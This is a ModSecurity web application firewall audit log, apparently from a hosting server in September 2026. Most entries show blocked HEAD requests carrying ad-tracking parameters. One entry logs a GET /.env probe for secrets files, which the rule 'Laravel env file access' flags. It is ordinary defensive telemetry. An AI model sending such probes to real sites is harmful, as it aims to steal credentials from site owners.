X-Real-IP: 95.134.102.157
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--2e348c7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2e348c7e-E--

--2e348c7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595500924 9887 (- - -)
Stopwatch2: 1789273595500924 9887; combined=6466, p1=535, p2=5521, p3=75, p4=8, p5=326, sr=255, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2e348c7e-Z--

--658ec864-A--
[13/Sep/2026:07:26:35.551327 +0300] aqYl@2M7dE9KgIIOpQhh2gAAANY 151.243.174.107 59738 127.0.0.1 7081
--658ec864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--658ec864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--658ec864-E--

--658ec864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595545734 5632 (- - -)
Stopwatch2: 1789273595545734 5632; combined=4192, p1=244, p2=3611, p3=63, p4=7, p5=267, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--658ec864-Z--

--89879006-A--
[13/Sep/2026:07:26:35.900725 +0300] aqYl@2M7dE9KgIIOpQhh2wAAAMs 151.243.174.45 59748 127.0.0.1 7081
--89879006-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--89879006-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--89879006-E--

--89879006-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595893929 6837 (- - -)
Stopwatch2: 1789273595893929 6837; combined=4410, p1=316, p2=3750, p3=67, p4=6, p5=271, sr=154, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--89879006-Z--

--600a5c35-A--
[13/Sep/2026:07:26:35.962027 +0300] aqYl@0wu1RSkptiiNIXvxgAAAI4 95.134.102.250 59762 127.0.0.1 7081
--600a5c35-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--600a5c35-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--600a5c35-E--

--600a5c35-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273595955127 6947 (- - -)
Stopwatch2: 1789273595955127 6947; combined=4599, p1=224, p2=4014, p3=84, p4=7, p5=270, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--600a5c35-Z--

--4832ce78-A--
[13/Sep/2026:07:26:36.351693 +0300] aqYl-GM7dE9KgIIOpQhh3AAAAMA 151.243.174.132 59772 127.0.0.1 7081
--4832ce78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--4832ce78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4832ce78-E--

--4832ce78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273596342113 9632 (- - -)
Stopwatch2: 1789273596342113 9632; combined=6312, p1=1353, p2=4467, p3=72, p4=7, p5=412, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4832ce78-Z--

--f826b53c-A--
[13/Sep/2026:07:26:37.456424 +0300] aqYl-Uwu1RSkptiiNIXvyQAAAJY 151.243.174.22 59834 127.0.0.1 7081
--f826b53c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f826b53c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f826b53c-E--

--f826b53c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273597450788 5694 (- - -)
Stopwatch2: 1789273597450788 5694; combined=4198, p1=194, p2=3652, p3=73, p4=6, p5=273, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f826b53c-Z--

--f5869904-A--
[13/Sep/2026:07:26:37.637573 +0300] aqYl-WM7dE9KgIIOpQhh3wAAAMc 95.134.102.250 59836 127.0.0.1 7081
--f5869904-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f5869904-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f5869904-E--

--f5869904-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273597631332 6328 (- - -)
Stopwatch2: 1789273597631332 6328; combined=4645, p1=260, p2=4072, p3=62, p4=7, p5=243, sr=97, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f5869904-Z--

--5fe0fc49-A--
[13/Sep/2026:07:26:38.080224 +0300] aqYl-mM7dE9KgIIOpQhh4AAAANU 95.134.102.51 59850 127.0.0.1 7081
--5fe0fc49-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5fe0fc49-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5fe0fc49-E--

--5fe0fc49-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273598073537 6733 (- - -)
Stopwatch2: 1789273598073537 6733; combined=4897, p1=327, p2=4163, p3=119, p4=8, p5=280, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5fe0fc49-Z--

--d5f66342-A--
[13/Sep/2026:07:26:48.394446 +0300] aqYmCGM7dE9KgIIOpQhh8AAAAMQ 162.243.61.206 50488 127.0.0.1 7081
--d5f66342-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br

--d5f66342-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d5f66342-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqYmCGM7dE9KgIIOpQhh8AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789273608279123 115409 (- - -)
Stopwatch2: 1789273608279123 115409; combined=23494, p1=257, p2=3892, p3=0, p4=0, p5=9714, sr=115, sw=1, l=0, gc=9630
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5f66342-Z--

--162b0c7a-A--
[13/Sep/2026:07:26:49.305977 +0300] aqYmCTTJ6xTvcJoem7f2cwAAAFM 95.134.102.38 50508 127.0.0.1 7081
--162b0c7a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.38
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--162b0c7a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--162b0c7a-E--

--162b0c7a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273609297879 8137 (- - -)
Stopwatch2: 1789273609297879 8137; combined=4408, p1=265, p2=3799, p3=74, p4=7, p5=263, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--162b0c7a-Z--

--ec692d5a-A--
[13/Sep/2026:07:26:49.676082 +0300] aqYmCTTJ6xTvcJoem7f2dAAAAEM 151.243.174.234 50522 127.0.0.1 7081
--ec692d5a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ec692d5a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ec692d5a-E--

--ec692d5a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273609669973 6149 (- - -)
Stopwatch2: 1789273609669973 6149; combined=4666, p1=240, p2=4029, p3=83, p4=8, p5=306, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ec692d5a-Z--

--abae283d-A--
[13/Sep/2026:07:26:50.061482 +0300] aqYmCmM7dE9KgIIOpQhh8QAAAMM 95.134.102.107 50524 127.0.0.1 7081
--abae283d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.107
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--abae283d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--abae283d-E--

--abae283d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273610055428 6099 (- - -)
Stopwatch2: 1789273610055428 6099; combined=4441, p1=257, p2=3864, p3=63, p4=7, p5=250, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--abae283d-Z--

--d97c4642-A--
[13/Sep/2026:07:26:56.931417 +0300] aqYmEGM7dE9KgIIOpQhh9QAAAMs 95.134.102.227 59496 127.0.0.1 7081
--d97c4642-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d97c4642-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d97c4642-E--

--d97c4642-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273616924290 7176 (- - -)
Stopwatch2: 1789273616924290 7176; combined=4892, p1=241, p2=4248, p3=70, p4=8, p5=325, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d97c4642-Z--

--f570ce04-A--
[13/Sep/2026:07:26:57.035919 +0300] aqYmEUwu1RSkptiiNIXvzwAAAJA 95.134.102.147 59498 127.0.0.1 7081
--f570ce04-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f570ce04-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f570ce04-E--

--f570ce04-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617030350 5619 (- - -)
Stopwatch2: 1789273617030350 5619; combined=4082, p1=246, p2=3333, p3=71, p4=8, p5=424, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f570ce04-Z--

--8c939b20-A--
[13/Sep/2026:07:26:57.411485 +0300] aqYmEWM7dE9KgIIOpQhh9gAAAMw 95.134.102.132 59502 127.0.0.1 7081
--8c939b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--8c939b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8c939b20-E--

--8c939b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617405572 5969 (- - -)
Stopwatch2: 1789273617405572 5969; combined=4503, p1=270, p2=3875, p3=73, p4=7, p5=278, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c939b20-Z--

--6014395f-A--
[13/Sep/2026:07:26:57.470331 +0300] aqYmEWM7dE9KgIIOpQhh9wAAAM8 151.243.174.109 59510 127.0.0.1 7081
--6014395f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6014395f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6014395f-E--

--6014395f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617464167 6252 (- - -)
Stopwatch2: 1789273617464167 6252; combined=4535, p1=263, p2=3854, p3=70, p4=7, p5=341, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6014395f-Z--

--87788013-A--
[13/Sep/2026:07:26:57.747130 +0300] aqYmEWM7dE9KgIIOpQhh@AAAAMo 151.243.174.142 59514 127.0.0.1 7081
--87788013-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--87788013-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--87788013-E--

--87788013-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617741289 5882 (- - -)
Stopwatch2: 1789273617741289 5882; combined=4388, p1=318, p2=3695, p3=93, p4=7, p5=275, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--87788013-Z--

--b1d28244-A--
[13/Sep/2026:07:26:57.848131 +0300] aqYmEWM7dE9KgIIOpQhh@gAAANU 95.134.102.26 59534 127.0.0.1 7081
--b1d28244-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.26
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b1d28244-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b1d28244-E--

--b1d28244-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273617840867 7313 (- - -)
Stopwatch2: 1789273617840867 7313; combined=5855, p1=233, p2=5195, p3=115, p4=7, p5=305, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b1d28244-Z--

--fb705767-A--
[13/Sep/2026:07:26:57.857951 +0300] aqYmESsVWymXUono-eRRQQAAAA4 95.134.102.237 59538 127.0.0.1 7081
--fb705767-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.237
